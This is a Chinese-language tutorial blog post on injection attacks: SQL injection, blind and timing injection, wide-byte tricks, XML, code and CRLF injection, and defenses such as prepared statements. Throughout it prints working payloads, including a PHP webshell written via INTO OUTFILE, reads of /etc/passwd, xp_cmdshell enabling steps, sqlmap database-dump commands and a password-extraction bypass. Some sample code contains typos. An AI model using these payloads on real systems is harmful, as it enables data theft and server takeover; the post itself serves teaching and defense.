新人开车——注入攻击

Posted 黑蝴蝶sec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了新人开车——注入攻击相关的知识,希望对你有一定的参考价值。

一.1   SQL注入

  1、注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件:

    (1)用户能够控制输入

    (2)原本程序要执行的代码,拼接了用户输入的数据

     大家都耳熟能详了,我举一个例子,

      var   ship;

      ships=Request.form("ship");

      var  sql= "select * from Orders  where ships= ‘ "+ships+ " ‘ ";

     假如用户输入一段有语义的SQL语句,比如:

      Beijng‘;drop table Orders  --

       那么在执行时就会拼接成:

      "select * from Orders  where ships= ‘ Beijng‘;drop table Orders ‘ --

       我们看到,原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果。

   在SQL注入的过程中,如果网站的WEB的服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号 “ ‘ ”,引起执行查询语句的语法错误,

服务器直接返回了错误信息:

   Microsoft  JET  Database  Engine  错误  ‘80040e14’

   字符串的语法错误   在查询表达式  ‘ID=49 ’ ’ 中。

   /showdetail.asp ,行8

  从错误信息中可以知道,服务器用的是access数据库,查询语句的伪代码有可能是:

    select   XX  from table_x   where   id=$id

  错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手。

一.2    盲注

 1、盲注的概念

  所谓的 “盲注”,就是在服务器没有错误回显时完成的注入攻击

  最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

  当攻击者构造条件 “ and  1=1”时,如果页面正常返回,再构造 “and 1=2” 如果页面结果将为空或者是一个出错页面,就可以判断 “ id ”参数存在SQL注入漏洞。(页面返回不一致就说明存在漏洞)

  在这个攻击过程中,服务器虽然关闭了错误回显,但是攻击者通过简单的条件判断,再对比页面返回结果的差异,就可以判断出SQL注入漏洞是否存在。。。

 2、盲注的一个技巧:Timing  Attack

  在mysql中,有一个BENCHMARK(count,expr)函数,它是用于测试函数性能的,有俩个参数,函数执行的结果是,将表达式expr执行count次。

  比如:

      select benchmark(10000,encode(‘hello‘,‘goodby‘));

  就将encode(‘hello‘,‘goodby‘)执行了10000次,共用时4.74秒。

  因此,利用BENCHMARK(count,expr)函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个攻击在盲注中被称为Timing  Attack。

  实例:

     1170  union  select  if (substring(current,1,1) =char(119),benchmark(5000,encode(‘MSG‘,‘BY 5 secode‘)),null) from (select Database as current)  as tb1;

  这个payload判断库名的第一个字母是否为char(119),即为小写的w。如果为真,则会通过BENCHMARK(count,expr)函数造成较长的时延,如果不为真,则该语句将很快执行完。

  如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件

      1170 union all select  table_name,table_type from  information_schema.tables where table_schema=‘mysql‘  order by table_name desc into outfile ‘/path/location/server/www/schema.txt ‘

  类似的,通过Dump文件的方法,还可以写入一个webshell:

      1170  union select "<? system($_request[‘cmd‘]); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --

 

二、数据库攻击技巧

   SQL注入是基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数,因此针对不同的数据库,SQL注入的攻击技巧也有所不同。

   2.1   常见的攻击技巧

  SQL注入可以猜解出数据库的对应版本,比如下面这个payload ,如果Mysql 的版本是4,则会返回TRUE:

    ?id=5  and  substring( @@version,1,1)  = 4

  下面这个Payload,则是利用union select 来分别确定表名admin是否存在,列名passwd是否存在:

    union    all   select  1,2,3 from admin;

    union    all   select 1,2,passwd  from admin;

  等等等。。。。

  这个过程非常的繁琐,所以非常必要使用一个自动化的工具来帮助完成整个过程。神器---------SQLMAP

  下面我就列举一下该神器的常见用法:

    (1)get型

      sqlmap  -u  "IP"   --is-dba                                                                       查看权限

      sqlmap  -u  "IP"  --dbs                                                                            所有数据库名

      sqlmap  -u  "IP"  --current-db                                                                 当前数据库名

      sqlmap  -u  "IP"   --Table  -D "数据库名"                                                查看想要查看数据库中都有哪些表

      sqlmap  -u  "IP"   --column  -T   "表名"  -D  "数据库名"                          查看有哪些字段

      sqlmap -u  "IP"    --dump  -C "username,password"  -T "表名"  -D  "数据库名"     查看具体字段下的值

      sqlmap -u "IP"  --dump-all                            全部下载

    (2)post型

      sqlmap -r  "IP"  --dbs                                   等,同上面差不多

      sqlmap -r  "IP"  -forms                                找到注入点   jjj=123

      sqlmap -r  "IP"  -forms -p jjj  -dbs                等

    (3)cookie注入

      sqlmap   -u   "IP"   --cookie  "id=56"  --level  2

       sqlmap   -u   "IP"    --tables    --cookie  "id=56"  --level  2    

    在sqlmap中出现黄色则说明 “失败”,转为cookie注入。  

  2.2   命令执行

  在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MYsql中,就可以通过  load_file()  读取系统文件,并通过  into dumpfile 写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。

    union   select     1,1,load_file("/etc/passwd"),1,1;

  如果要将文件读出后,再返回结果给攻击者,则可以使用下面的这个技巧:
    (1)  create  table  potoao(line blbo);

    (2)  union select 1,1,hex(load_file(‘/etc/passwd‘)),1,1  into dumpfile  ‘/tmp/potoao‘;

    (3)  load  data infile ‘/tmp/potoaos‘  into table potoao;

  这需要当前数据库用户有创建表的权限。首先通过load_file()将系统文件读出,再通过 into dumpfile 将该文件写入系统中,然后通过load data  file 将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。

  除了可以使用  into  dumpfile外,还可以使用  into outfile,两者的区别是dumpfile 适用于二进制文件,它会将目标文件写入同一行内;而  outfile 则更适用于文本文件。

  写入文件的技巧,经常被用于导出一个webshell,为攻击者的进一步攻击做铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限

  2.3     命令执行

  在MYSQL中,除了可以通过导出webshell间接地执行命令外,还可以利用 “用户自定义函数” 的技巧,即“UDF”来执行命令。

   为找到适应mysql5及之后版本,安全研究者们找到了另外的方法——通过  lib_mysqludf_sys 提供的几个函数执行系统命令,其中最主要的函数是sys_eval() 和sys_exec()。在攻击过程中,将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后,就可以使用sys_eval()等函数执行命令了。

  命令执行,在自动化注入工具sqlmap中已经集成了此功能。

  例如:

    sqlmap.py   -u  "http://www.123.com/asal/get.php?id"  --os-cmd  id -v  1

  UDF不仅仅是MYSQL的特性,其他数据库也有着类似的功能。在sqlserver中,则可以使用存储过程  “xp_cmdshell”执行系统命令。在oracle数据库中,如果服务器同时还有java环境,那么也可能造成命令执行。在sql注入后可以执行多语句的情况下,可以在oralce中创建java的存储过程执行系统命令。

  一般来说,在数据库中执行系统命令,要求具有较高的权限。在数据库加固时,可以参阅官方文档。在建立数据库账户时,应该遵守  “最小权限原则” ,尽量避免web应用使用数据库的管理员权限。

  2.4  攻击存储过程

  存储过程必须使用 call 或者 execute 来执行。在sqlserver和oracle数据库中都有大量内置的存储过程。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。

  在sqlserver 中,存储过程 "xp_cmdshell" 可谓是臭名昭著,注入sqlserver时都是使用它执行系统命令。

    exec  master.dbo.xp_cmdshell   ‘cmd.exe  dir  c:‘ 

    exec  master.dbo.xp_cmdshell   ‘ping  ‘

  xp_cmdshell 在sqlserver 2000 中默认是开启的,如果禁止了,可以使用xp_addextendedproc开启它,但是在sqlserver 2005 及以后版本中则默认禁止了,但是如果当前的数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它;

    exec  sp_configure  ‘show  advanced  options‘,1

    reconfigure

    exec  sp_configure ‘xp_cmdshell ‘,1

    reconfigure

  除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的,比如xp_regread 可以操作注册表:

    exec  xp_regread   HKEY_MACHINE

    ‘SYSTEM\CurrentControlSet\Services\lanserver\parameters‘, ‘nullsessionshares‘

  等等,还有很多存储过程都非常有用。

  除了利用存储过程直接攻击外,存储过程本身也可能会存在注入攻击。

  2.5编码问题  ---宽字节注入

  注入攻击中常常会用到单引号,双引号等特殊字符。在应用中开发者为了安全经常会使用转义字符  “\”来转义这些特殊字符。单数当数据库使用了 “宽字符集”时,可能会产生一些意想不到的漏洞。比如当MYSQL使用了GBK编码时,oxbf27  和oxbf5c都会被认为是一个字符(双字节字符)。因此,假如攻击者输入:  oxbf27   or  1=1

经过转义后,会变成 oxbf5c 27,转移符被吃掉,从而攻击成功。

  要解决这种问题,需要统一数据库、操作系统、web应用所使用的字符集 ,以避免各层对字符的理解存在差异。基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决办法就是在HTML页面的<mets> 标签中指定当前页面的charset。

  如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转移的安全函数,在其中需要考虑到字符的可能范围。

  根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,以实现安全过滤。

  2.6  SQL  COLUMN TRUNCATION   (截断攻击)

  在mysql的配置选项中,有一个sql_mode选项。当mysql的sql_mode设置为default时,即没有开启  STRICT_ALL_TABLES选项时,mysql对于用户插入的超长值只会提示waring,而不是error (如果是error则插入不成功),这可能会导致发生一些  “截断”  问题。

  开启strict模式:

    sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" 

  关闭strict模式:

    sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

三、正确地防御SQL注入

  从防御的角度来看,要做的事情有两件:

    (1)找到所有的SQL注入漏洞

    (2)修补这些漏洞

  sql注入的防御并不是一件简单的事情,开发者常常会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下案例:

    $sql="select  id,name,mail  from register where id=".mysql_real_escape_string($_GET[‘id‘]);

    当攻击者构造的注入代码如下:

    http://www.123.com/user.php?id=2,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6 from,mysql.user,where,user=substring_index(current_user(),char(64),1)

    将绕过mysql_real_escape_string的作用注入成功。

    因为mysql_real_escape_string仅仅会转义:’、”、\r 、\n、NULL 、Control-Z   。这几个字符,在本例中sql注入所使用的payload完全没有用到这几个字符。

    那么到底如何正确的防御呢?

    1、使用预编译语句

    使用预编译的sql语句,sql语句的语义不会发生改变。在sql语句中,变量用?表示,攻击者无法改变sql的结构。

    $query="insert into mycity (name,countrycode,district)  values (?,?,?)";

    $stmt=$mysqli->prepare($query);

    $stmt->bind_param("sss",$val1,$val2,$val3);

    $val1=‘gart‘

    $val2=‘DEU‘

    $val3=‘BADEN‘

    $stmt->execute();

    2、使用存储过程

    使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的sql语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。

    但是有时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。

    3、检查数据类型

    检查输入数据的数据类型,在很大程度上可以对抗SQL注入。

    比如下面这段代码,就限制了输入数据的类型只能为   integer  ,在这种情况下,也是无法注入成功的。

    <?php

      settype($offset,‘integer‘);

      $query="select id,name  from  products order by name limit  20  offset $offset;";

      $query=sprintf("select id,name  from  products order by name limit  20  offset %d;",$offset);

    ?>

    其他的数据格式或类型检查也是有益的。比如用户在输入邮箱时,必须严格按照邮箱的格式。但是数据类型检查并非万能的,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方范sql注入。

    4、使用安全函数

    一般来说,各种web语言都实现了一些编码函数,可以帮助对抗sql注入。但是前文举了一些编码函数被绕过的例子,因此我们需要一个足够安全的编码函数。

    安全专家编写的函数:

       ESAPI.encoder().encodeForSQL(new  OracleCode(),queryparam);

    在使用时:

       Code  ORACLE_CODEC = new  OracleCode();

       String query="select user_id from user_data where  user_name=‘ "+ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("userID"))+  

       " ‘ and user_password=‘ "   +  ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("pwd"))  +" ‘ " ;

     在最后,从数据库自身的角度来说,应该使用最小权限原则,避免WEB应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

 

四、其他注入攻击

  4.1    XML注入

  XML是一种常用的标记语言,通过标签对数据进行结构化表示。XML与HTML都是SGML(标准通用标记语言)。

    final  string guestrole="guest_role";

    .......

    //userdata是准备保存的XML数据,接收了name和email两个用户提交来的数据

    string  userdata = "<user role="    + guestrole +    "><name>"+

    request.getParameter("name") +

     "</name><email>" 

    +  request.getParameter("email")    + "</email></user>";

  但是如果用户构造了恶意输入数据,就有可能形成注入攻击。比如用户输入的数据如下:

    [email protected]</email></user><user role="admin_role"><name>test</name><email>[email protected]

最终生成的XML文件里被插入一条数据:

    <?xml version="1.0"  encoding="utf-8" ?>

    <user role ="guest_role">

      <name>user1

      </name>

      <email> [email protected] </email>

    </user>

    <user role="admin_role">

      <name>test</name>

      <email>[email protected]</email>

    </user>

  由此可见xml注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据。

  修补方案是,对用户输入数据中包含的 “语言本身的保留字符”进行转义

    static

      {

        entityToCharacterMap = new HashTrie<Character>();

        entityToCharacterMap.put("lt",‘<‘);

        entityToCharacterMap.put("gt",‘>‘);

        ........

      }

  

  4.2代码注入

  代码注入比较特别一点。代码注入与命令注入往往都是有一些不安全的函数或者方法引起的,其中的典型代表就是eval();如下例:

    $myval="varname";

    $x=$_GET[‘arg‘];

    eavl("\$myval = $x;");

  攻击者可以通过如下payload实施代码注入:

    /index.php?arg=1;phpinfo()

  存在代码注入漏洞的地方,与“ 后门 ”没有区别。

  此外,Jsp的动态include也能导致代码注入。严格来说,PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码执行。

  代码注入多见于脚本语言,有时候代码注入可以造成命令注入。比如:

    <?php

      $varerror=system( ‘cat‘ .$_GET[‘pageid‘], $valoretorno);

      echo  $varerror;

    ?>

  这就是一个典型的命令注入,攻击者可以使用system()函数执行他想要的系统命令。

  vulnerable.php?pageid-loquesea ; ls

  在对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在php/jsp重比米娜动态include远程文件,或者安全地处理它。

  4.3  CRLF注入

  CRLF实际上是两个字符:CR是Carriage  Return (ASCII  13, \r ), LF是 line Feed (ASCII 10,\n)。\r\n  这两个字符是用于表示换行的,其十六进制编码分别为  ox0d、 ox0a  。

  CRLF常被用做不同语义之间的分隔符。因此通过 “注入CRLF字符”,就有可能改变原有的语义。

  比如,在日志文件中,通过CRLF有可能构造出一条新的日志。下面这段代码,将登陆失败的用户写入日志文件中。

    def  log_failed_login(username)

      log = open("access.log",‘a‘)

      log.wirte("user login failed for :%s \n " % username)

      log.colse()

  正常情况下,会记录下如下日志:

      user login failed for :guest

      user login failes for: admin

  由于没有处理换行符 “\r\n” ,因此当攻击者输入如下数据时,就可能插入一条额外的日志记录。

    guest \n user  login  succeeded for:admin

  由于换行符 “\n”的存在,会变成:

     user login failed for :guest

     user login succeeded for: admin    (第二条记录是伪造的)

  CRLF注入并非仅能用于log注入,凡是使用CRLF作为分割符的地方都可能存在这种注入,比如 “注入HTTP头” ,它可以破坏HTTP协议的完整性。

  对抗CRLF的方法很简单,只需要处理好 “\r” 、“\n” 这两个保留字符即可,尤其是那些使用 “换行符”作为分隔符的应用。

五、总结

  在对抗注入攻击时,只需要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。

  

         

 

 

  

 

 

    

  

  

 

   

   

   

  

  

  

 

以上是关于新人开车——注入攻击的主要内容,如果未能解决你的问题,请参考以下文章

常见sql注入的类型

注射式攻击的注入攻击的使用:

SQL注入攻击与防范

如何利用sql注入攻击删除文件

如何防止代码注入攻击在PHP

web前端怎么防止代码注入攻击